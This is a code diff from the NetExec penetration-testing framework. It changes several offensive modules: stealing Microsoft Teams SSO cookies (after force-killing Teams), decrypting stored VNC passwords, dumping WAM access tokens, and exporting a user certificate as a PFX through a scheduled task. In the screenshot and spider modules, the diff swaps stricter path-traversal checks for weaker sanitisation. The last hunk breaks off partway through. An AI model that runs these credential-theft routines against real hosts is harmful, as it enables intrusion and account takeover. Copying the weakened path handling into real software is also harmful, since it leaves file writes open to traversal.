client = Principal(self.target, type=constants.PrincipalNameType.NT_ENTERPRISE.value)
|
||||
kdc = self.connection.kdcHost or self.connection.host
|
||||
try:
|
||||
tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", self.upn_nthash, "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
|
||||
tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", "", "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
|
||||
except (KerberosError, OSError) as e:
|
||||
self.context.log.fail(f"Failed to request change-password TGT: {e}")
|
||||
return None
|
||||
|
||||
+15
-15
@@ -80,10 +80,7 @@ class NXCModule:
|
||||
self.logger.fail("You need to specify a USER to run the task as")
|
||||
return
|
||||
|
||||
# certreq mode is decided from the original CMD here, because self.command_to_run is later
|
||||
# reassigned to the batch path; the PFX download below is gated on this same flag
|
||||
self.is_certreq = self.command_to_run.lower() == "certreq"
|
||||
if self.is_certreq:
|
||||
if self.command_to_run.lower() == "certreq":
|
||||
if self.ca_name is None:
|
||||
self.logger.fail("CertReq requires the CA name in the following format: SERVER_NAME\\CertificateAuthority_Name")
|
||||
return
|
||||
@@ -99,18 +96,21 @@ class NXCModule:
|
||||
setlocal enabledelayedexpansion
|
||||
|
||||
set "BASE={full_path_prefixed_file}"
|
||||
certreq -new "%BASE%.inf" "%BASE%.req" > nul || exit /b 10
|
||||
certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul || exit /b 11
|
||||
if not exist "%BASE%.cer" exit /b 12
|
||||
|
||||
rem Read the SHA1 thumbprint of the certificate we just enrolled, directly from its own file
|
||||
rem (locale- and encoding-independent), so repairstore/exportPFX/delstore can only ever touch
|
||||
rem that one certificate, never a pre-existing certificate in the user's store
|
||||
certreq -new "%BASE%.inf" "%BASE%.req" > nul
|
||||
certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul
|
||||
certutil -user -addstore my "%BASE%.cer" > nul
|
||||
set "HASH="
|
||||
for /f "usebackq delims=" %%A in (`powershell -NoProfile -Command "(New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 '%BASE%.cer').Thumbprint"`) do set "HASH=%%A"
|
||||
if "!HASH!"=="" exit /b 13
|
||||
for /f "tokens=2 delims=:" %%A in ('
|
||||
certutil -user -store my ^| findstr /r /c:"Hach\. cert\." /c:"Cert Hash"
|
||||
') do (
|
||||
set "tmp=%%A"
|
||||
set "tmp=!tmp: =!"
|
||||
set "HASH=!tmp!"
|
||||
)
|
||||
|
||||
certutil -user -addstore my "%BASE%.cer" > nul || exit /b 14
|
||||
if "!HASH!"=="" (
|
||||
exit /b 1
|
||||
)
|
||||
certutil -user -repairstore my !HASH! > nul 2>&1
|
||||
certutil -user -exportPFX -p "" -f my !HASH! "%BASE%.pfx" NoChain,NoRoot > nul 2>&1
|
||||
certutil -user -delstore my !HASH! > nul 2>&1
|
||||
@@ -212,7 +212,7 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error deleting {self.output_file_location}{self.binary_to_upload_name} on {self.share}: {e}")
|
||||
|
||||
if self.is_certreq:
|
||||
if self.ca_name and self.template_name:
|
||||
dump_path = path.join(NXC_PATH, "modules/schtask_as")
|
||||
if not path.isdir(dump_path):
|
||||
makedirs(dump_path)
|
||||
|
||||
@@ -1,9 +1,8 @@
|
||||
import ntpath
|
||||
import os
|
||||
from os.path import join, getsize, exists
|
||||
from pathlib import Path
|
||||
from pathlib import PurePosixPath
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -86,10 +85,11 @@ class NXCModule:
|
||||
continue
|
||||
|
||||
remote_file_path = ntpath.join(screenshot_path, remote_file_name)
|
||||
local_file_path = Path(user_output_dir, sanitize_path_component(f"{screenshot_path}_{remote_file_name}")).resolve()
|
||||
if Path(user_output_dir).resolve() not in local_file_path.parents:
|
||||
context.log.fail(f"Path traversal detected in {remote_file_path!r}, skipping")
|
||||
continue
|
||||
# replace \\ with underscores and ignore absolute path or path traversal attempts
|
||||
clean_screenshot_path = "_".join(p for p in PurePosixPath(screenshot_path.replace("\\", "/")).parts if p not in ("..", ".", "/"))
|
||||
clean_file = "_".join(p for p in PurePosixPath(remote_file_name.replace("\\", "/")).parts if p not in ("..", ".", "/"))
|
||||
|
||||
local_file_path = join(user_output_dir, f"{clean_screenshot_path}_{clean_file}")
|
||||
context.log.debug(f"{local_file_path=}")
|
||||
|
||||
try:
|
||||
|
||||
+14
-17
@@ -2,10 +2,9 @@ import json
|
||||
import errno
|
||||
from os.path import abspath, join, exists, splitext, getsize
|
||||
from os import makedirs, remove, stat
|
||||
from pathlib import Path
|
||||
from pathlib import Path, PurePosixPath
|
||||
import time
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.smb.remotefile import RemoteFile
|
||||
from impacket.smb3structs import FILE_READ_DATA
|
||||
@@ -173,13 +172,13 @@ class SMBSpiderPlus:
|
||||
def get_file_save_path(self, remote_file):
|
||||
r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally.
|
||||
|
||||
Sanitizes each local path component and verifies containment in the output folder.
|
||||
Creates a PurePosixPath and replaces UNC parts, then cleans it of any path traversal (see issue #1120)
|
||||
"""
|
||||
self.logger.debug(f"Remote file: {remote_file}")
|
||||
clean_parts = [sanitize_path_component(part) for part in remote_file._RemoteFile__fileName.replace("\\", "/").split("/") if part]
|
||||
resolved = Path(self.output_folder).joinpath(sanitize_path_component(self.host), sanitize_path_component(remote_file._RemoteFile__share), *clean_parts).resolve()
|
||||
if Path(self.output_folder).resolve() not in resolved.parents:
|
||||
raise ValueError(f"Path traversal detected in {remote_file!s}")
|
||||
raw_path = PurePosixPath(remote_file._RemoteFile__share, remote_file._RemoteFile__fileName.replace("\\", "/"))
|
||||
self.logger.debug(f"Raw path: {remote_file}")
|
||||
clean_parts = [p for p in raw_path.parts if p not in ("..", ".")]
|
||||
resolved = Path(self.output_folder).joinpath(self.host, *clean_parts)
|
||||
self.logger.debug(f"Resolved path: {resolved}")
|
||||
return str(resolved.parent), resolved.name
|
||||
|
||||
@@ -309,12 +308,7 @@ class SMBSpiderPlus:
|
||||
return
|
||||
|
||||
# Check if the file is already downloaded and up-to-date.
|
||||
try:
|
||||
file_dir, file_name = self.get_file_save_path(remote_file)
|
||||
except ValueError as e:
|
||||
self.logger.fail(str(e))
|
||||
self.stats["num_get_fail"] += 1
|
||||
return
|
||||
file_dir, file_name = self.get_file_save_path(remote_file)
|
||||
download_path = join(file_dir, file_name)
|
||||
needs_update_flag = False
|
||||
if exists(download_path):
|
||||
@@ -330,7 +324,7 @@ class SMBSpiderPlus:
|
||||
try:
|
||||
self.logger.info(f'Downloading file "{file_path}" => "{download_path}".')
|
||||
remote_file.open_file()
|
||||
self.save_file(remote_file, share_name, download_path)
|
||||
self.save_file(remote_file, share_name)
|
||||
remote_file.close()
|
||||
download_success = True
|
||||
except SessionError as e:
|
||||
@@ -347,7 +341,7 @@ class SMBSpiderPlus:
|
||||
else:
|
||||
self.stats["num_get_fail"] += 1
|
||||
|
||||
def save_file(self, remote_file, share_name, download_path):
|
||||
def save_file(self, remote_file, share_name):
|
||||
"""Reads the `remote_file` in chunks using the `read_chunk` method.
|
||||
|
||||
Each chunk is then written to the local file until the entire file is saved.
|
||||
@@ -356,9 +350,12 @@ class SMBSpiderPlus:
|
||||
# Reset the remote_file to point to the beginning of the file.
|
||||
remote_file.seek(0, 0)
|
||||
|
||||
folder, filename = self.get_file_save_path(remote_file)
|
||||
download_path = join(folder, filename)
|
||||
|
||||
# Create the subdirectories based on the share name and file path.
|
||||
self.logger.debug(f"Creating folder '{Path(download_path).parent}'")
|
||||
make_dirs(Path(download_path).parent)
|
||||
self.logger.debug(f"Creating folder '{folder}'")
|
||||
make_dirs(folder)
|
||||
|
||||
try:
|
||||
with open(download_path, "wb") as fd:
|
||||
|
||||
@@ -6,18 +6,16 @@ from os.path import abspath, join
|
||||
|
||||
class NXCModule:
|
||||
name = "teams_localdb"
|
||||
description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database"
|
||||
description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""KILL Kill all Teams processes before retrieving the Cookies database. Default: False"""
|
||||
self.kill = module_options.get("KILL", "false").lower() == "true"
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.kill:
|
||||
context.log.display("Killing all Teams processes to open the cookie file")
|
||||
connection.execute("taskkill /F /T /IM teams.exe")
|
||||
context.log.display("Killing all Teams process to open the cookie file")
|
||||
connection.execute("taskkill /F /T /IM teams.exe")
|
||||
found = 0
|
||||
paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
|
||||
with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f:
|
||||
@@ -35,8 +33,6 @@ class NXCModule:
|
||||
context.log.debug(str(e))
|
||||
context.log.highlight("Found Cookie file in path " + path)
|
||||
context.log.fail("Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database")
|
||||
if not self.kill:
|
||||
context.log.display("Use -o KILL=True to terminate Teams before retrieving the Cookies database")
|
||||
if found == 0:
|
||||
context.log.display("No cookie file found in Users folder")
|
||||
|
||||
|
||||
@@ -1,134 +0,0 @@
|
||||
from impacket.ldap.ldap import LDAPSessionError, MODIFY_DELETE, MODIFY_REPLACE
|
||||
from impacket.ldap.ldapasn1 import Control, SimplePagedResultsControl
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by Fabrizzio: @Fabrizzio53"""
|
||||
|
||||
name = "tombstone"
|
||||
description = "Query, restore and delete AD objects"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
ACTION Specify the action to execute: query, restore or delete. Default is query.
|
||||
ID The id of which object you want to restore.
|
||||
DN The DN of which object you want to delete.
|
||||
|
||||
Usage:
|
||||
nxc ldap $DC-IP -u Username -p Password -M tombstone
|
||||
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=query
|
||||
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=restore ID=5ad162c9-97b1-4a90-a17c-5c2aedb7d1e3
|
||||
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=delete DN="CN=test,OU=Users,DC=test,DC=local"
|
||||
"""
|
||||
self.action = module_options.get("ACTION", "query").lower()
|
||||
self.id = module_options.get("ID", "")
|
||||
self.delete_dn = module_options.get("DN", "")
|
||||
if self.action == "restore" and not self.id:
|
||||
context.log.fail("ID is necessary when calling tombstone with the restore action")
|
||||
return False
|
||||
|
||||
if self.action == "delete" and not self.delete_dn:
|
||||
context.log.fail("DN is necessary when calling tombstone with the delete action")
|
||||
return False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
if self.action == "query":
|
||||
self.query_deleted_objects(context, connection)
|
||||
elif self.action == "delete":
|
||||
self.delete_object(context, connection)
|
||||
elif self.action == "restore":
|
||||
self.restore_deleted_object(context, connection)
|
||||
else:
|
||||
context.log.fail(f'The action "{self.action}" is not valid, use only one available option (query, restore, delete)')
|
||||
|
||||
def show_deleted_control(self):
|
||||
return Control().setComponents("1.2.840.113556.1.4.417", True)
|
||||
|
||||
def search_deleted_objects(self, connection):
|
||||
return parse_result_attributes(
|
||||
connection.search(
|
||||
baseDN=f"CN=Deleted Objects,{connection.baseDN}",
|
||||
searchFilter="(isDeleted=TRUE)",
|
||||
attributes=[],
|
||||
searchControls=[self.show_deleted_control(), SimplePagedResultsControl(criticality=True, size=1000)],
|
||||
)
|
||||
)
|
||||
|
||||
def restore_deleted_object(self, context, connection):
|
||||
object_dn = ""
|
||||
original_dn = ""
|
||||
|
||||
context.log.highlight(f"Trying to find object with given id {self.id}")
|
||||
|
||||
context.log.debug("Search Filter=(isDeleted=TRUE)")
|
||||
context.log.highlight("")
|
||||
|
||||
for entries in self.search_deleted_objects(connection):
|
||||
if entries.get("distinguishedName", "").casefold() == f"CN=Deleted Objects,{connection.baseDN}".casefold():
|
||||
continue
|
||||
|
||||
if self.id.casefold() == entries.get("name", "").rsplit(":", 1)[-1].casefold():
|
||||
context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}")
|
||||
context.log.highlight(f"{'description':<20}: {entries.get('description', '')}")
|
||||
context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}")
|
||||
context.log.highlight(f"{'ID':<20}: {entries.get('name', '').rsplit(':', 1)[-1]}")
|
||||
context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}")
|
||||
context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}")
|
||||
context.log.highlight("")
|
||||
|
||||
object_dn = entries.get("distinguishedName", "")
|
||||
original_dn = object_dn.rsplit("\\0ADEL:", 1)[0] + "," + entries.get("lastKnownParent", "")
|
||||
break
|
||||
|
||||
if not original_dn:
|
||||
context.log.fail(f"The object was not found with id {self.id}.")
|
||||
return False
|
||||
|
||||
try:
|
||||
connection.ldap_connection.modify(dn=object_dn, modifications={"isDeleted": [(MODIFY_DELETE, [])], "distinguishedName": [(MODIFY_REPLACE, [original_dn])]}, controls=[self.show_deleted_control()])
|
||||
context.log.highlight(f"Success {original_dn} restored")
|
||||
except LDAPSessionError as e:
|
||||
context.log.fail(f"Error at trying to recover the object {e}")
|
||||
return False
|
||||
|
||||
def delete_object(self, context, connection):
|
||||
context.log.highlight(f"Trying to delete {self.delete_dn}")
|
||||
|
||||
try:
|
||||
connection.ldap_connection.delete(dn=self.delete_dn)
|
||||
context.log.highlight("")
|
||||
context.log.highlight(f'Success, "{self.delete_dn}" deleted')
|
||||
except LDAPSessionError as e:
|
||||
context.log.highlight("")
|
||||
context.log.fail(f'Error when trying to delete "{self.delete_dn}" {e}')
|
||||
|
||||
def query_deleted_objects(self, context, connection):
|
||||
context.log.debug("Search Filter=(isDeleted=TRUE)")
|
||||
resp_parsed = self.search_deleted_objects(connection)
|
||||
|
||||
if not resp_parsed:
|
||||
context.log.highlight("Could not find the Deleted Objects container, AD recycle bin might not be active")
|
||||
return False
|
||||
|
||||
resp_parsed = [entries for entries in resp_parsed if entries.get("distinguishedName", "").casefold() != f"CN=Deleted Objects,{connection.baseDN}".casefold()]
|
||||
if not resp_parsed:
|
||||
context.log.highlight("No objects are in a tombstone state")
|
||||
return False
|
||||
|
||||
context.log.highlight("")
|
||||
|
||||
for entries in resp_parsed:
|
||||
context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}")
|
||||
context.log.highlight(f"{'description':<20}: {entries.get('description', '')}")
|
||||
context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}")
|
||||
context.log.highlight(f"{'ID':<20}: {entries.get('name', '').rsplit(':', 1)[-1]}")
|
||||
context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}")
|
||||
context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}")
|
||||
context.log.highlight("")
|
||||
|
||||
context.log.highlight(f"Found {len(resp_parsed)} deleted objects")
|
||||
@@ -3,7 +3,6 @@ from datetime import datetime
|
||||
from impacket.ldap import ldap, ldapasn1
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -92,7 +91,7 @@ class NXCModule:
|
||||
|
||||
def create_log_file(self, host, time):
|
||||
"""Create a log file for dumping user descriptions."""
|
||||
logfile = sanitize_path_component(f"UserDesc-{host}-{time}.log")
|
||||
logfile = f"UserDesc-{host}-{time}.log"
|
||||
logfile = Path(NXC_PATH).joinpath(logfile)
|
||||
|
||||
self.context.log.info(f"Creating log file '{logfile}'")
|
||||
|
||||
+102
-41
@@ -1,14 +1,18 @@
|
||||
import ntpath
|
||||
import tempfile
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from impacket import winregistry
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket import winregistry
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.system_errors import ERROR_NO_MORE_ITEMS
|
||||
|
||||
from Cryptodome.Cipher import DES
|
||||
from binascii import unhexlify
|
||||
import codecs
|
||||
import re
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -19,7 +23,7 @@ class NXCModule:
|
||||
|
||||
name = "vnc"
|
||||
description = "Loot Passwords from VNC server and client configurations"
|
||||
supported_protocols = ["smb", "wmi", "winrm"]
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
@@ -45,40 +49,79 @@ class NXCModule:
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.share = self.connection.args.share if hasattr(self.connection.args, "share") else "C$"
|
||||
self.share = self.connection.args.share
|
||||
|
||||
dploot_conn = connection.dpapi_triage.conn
|
||||
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = upgrade_to_dploot_connection(target=target, connection=connection.conn)
|
||||
if not self.no_remoteops:
|
||||
self.vnc_from_registry(dploot_conn)
|
||||
self.vnc_client_proxyconf_extract(dploot_conn)
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
self.vnc_from_registry(remote_ops)
|
||||
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
|
||||
self.vnc_from_filesystem(dploot_conn)
|
||||
|
||||
def vnc_client_proxyconf_extract(self, dploot_conn):
|
||||
def reg_query_value(self, remote_ops, path, key, hku=False):
|
||||
if remote_ops._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
path,
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
data = None
|
||||
try:
|
||||
_, data = rrp.hBaseRegQueryValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
key,
|
||||
)
|
||||
return data
|
||||
except rrp.DCERPCSessionError as e:
|
||||
self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}")
|
||||
|
||||
def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None):
|
||||
vnc_client_softwares = [
|
||||
("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]),
|
||||
]
|
||||
users = self.get_users(dploot_conn)
|
||||
if dploot_conn.target.protocol != "smb":
|
||||
self.context.log.warn("Downloading NTUSER.DAT for offline users, will be slow")
|
||||
users = self.get_users(remote_ops)
|
||||
for user, sid in users.items():
|
||||
ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT")
|
||||
try:
|
||||
ntuser_dat_bytes = dploot_conn.read_file(share=self.share, path=ntuser_dat_path)
|
||||
ntuser_dat_bytes = dploot_conn.readFile(self.share, ntuser_dat_path)
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}")
|
||||
for vnc_name, registry_path, registry_keys in vnc_client_softwares:
|
||||
cred = {}
|
||||
if ntuser_dat_bytes is None:
|
||||
if ntuser_dat_bytes is None and remote_ops is not None:
|
||||
user_registry_path = ntpath.join(sid, registry_path)
|
||||
try:
|
||||
password = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[1])
|
||||
if password is None:
|
||||
continue
|
||||
password = password.encode().rstrip(b"\x00").decode()
|
||||
password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode()
|
||||
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
|
||||
cred["server"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[2])
|
||||
cred["user"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[0])
|
||||
cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True)
|
||||
cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}")
|
||||
@@ -96,9 +139,9 @@ class NXCModule:
|
||||
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
|
||||
cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1")
|
||||
|
||||
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
|
||||
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
|
||||
|
||||
def vnc_from_registry(self, dpapi_conn):
|
||||
def vnc_from_registry(self, remote_ops):
|
||||
vncs = (
|
||||
("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
|
||||
("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"),
|
||||
@@ -109,12 +152,10 @@ class NXCModule:
|
||||
)
|
||||
for vnc_name, path, key in vncs:
|
||||
try:
|
||||
value = dpapi_conn.reg_get_key_value("HKLM", path, key)
|
||||
except rrp.DCERPCSessionError as e:
|
||||
if "ERROR_FILE_NOT_FOUND" in str(e):
|
||||
self.context.log.debug(f"Could not find {path}\\{key}, likely not installed: {e}")
|
||||
else:
|
||||
self.context.log.fail(f"Error while RegQueryValue {path}\\{key}: {e}")
|
||||
value = self.reg_query_value(remote_ops, path, key)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValue {path}\\{key}: {e}")
|
||||
continue
|
||||
if value is None:
|
||||
continue
|
||||
@@ -122,7 +163,7 @@ class NXCModule:
|
||||
password = self.recover_vncpassword(value)
|
||||
if password is None:
|
||||
continue
|
||||
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
|
||||
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
|
||||
|
||||
vnc_users = (
|
||||
("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"),
|
||||
@@ -130,10 +171,7 @@ class NXCModule:
|
||||
for vnc_name, path, user, password, server in vnc_users:
|
||||
cred = {}
|
||||
try:
|
||||
value = dpapi_conn.reg_get_key_value("HKLM", path, password)
|
||||
if value is None:
|
||||
continue
|
||||
value = value.encode().rstrip(b"\x00").decode()
|
||||
value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode()
|
||||
value = unhexlify(value)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
@@ -143,13 +181,13 @@ class NXCModule:
|
||||
continue
|
||||
cred["password"] = self.recover_vncpassword(value).decode()
|
||||
try:
|
||||
cred["server"] = dpapi_conn.reg_get_key_value("HKLM", path, server)
|
||||
cred["user"] = dpapi_conn.reg_get_key_value("HKLM", path, user)
|
||||
cred["server"] = self.reg_query_value(remote_ops, path, server)
|
||||
cred["user"] = self.reg_query_value(remote_ops, path, user)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
|
||||
continue
|
||||
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
|
||||
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
|
||||
|
||||
def split_len(self, seq, length):
|
||||
return [seq[i:i + length] for i in range(0, len(seq), length)]
|
||||
@@ -192,8 +230,8 @@ class NXCModule:
|
||||
("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"),
|
||||
)
|
||||
|
||||
for vnc_name, filepath in vncs:
|
||||
file_content = dploot_conn.read_file(share=self.share, path=filepath)
|
||||
for vnc_name, file in vncs:
|
||||
file_content = dploot_conn.readFile(self.share, file)
|
||||
if file_content is not None:
|
||||
regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"]
|
||||
for regex in regex_passwd:
|
||||
@@ -201,16 +239,39 @@ class NXCModule:
|
||||
for passwd_encrypted in passwds_encrypted:
|
||||
passwd_encrypted = passwd_encrypted.split(b"=")[-1]
|
||||
password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8]
|
||||
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
|
||||
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
|
||||
|
||||
def get_users(self, conn):
|
||||
users = {}
|
||||
userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
|
||||
|
||||
for sid in conn.reg_enum_key("HKLM", userlist_key):
|
||||
profile_path = conn.reg_get_key_value("HKLM", f"{userlist_key}\\{sid}", "ProfileImagePath")
|
||||
if "C:\\Users" not in profile_path:
|
||||
ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
sids = []
|
||||
|
||||
i = 0
|
||||
while True:
|
||||
try:
|
||||
ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i)
|
||||
sids.append(ans2["lpNameOut"])
|
||||
except rrp.DCERPCSessionError as e:
|
||||
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
|
||||
break
|
||||
except Exception as e:
|
||||
self.context.debug(f"Error while listing users from HKU: {e}")
|
||||
i += 1
|
||||
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
|
||||
for sid in sids:
|
||||
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
||||
keyHandle = ans["phkResult"]
|
||||
_, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath")
|
||||
if r"%systemroot%" in profile_path:
|
||||
continue
|
||||
users[ntpath.basename(profile_path).rstrip("\0")] = sid.rstrip("\0")
|
||||
users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
|
||||
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
|
||||
|
||||
return users
|
||||
+34
-12
@@ -1,45 +1,67 @@
|
||||
import re
|
||||
import json
|
||||
from base64 import urlsafe_b64decode
|
||||
import jwt
|
||||
from dploot.triage.wam import WamTriage
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "wam"
|
||||
description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx"
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
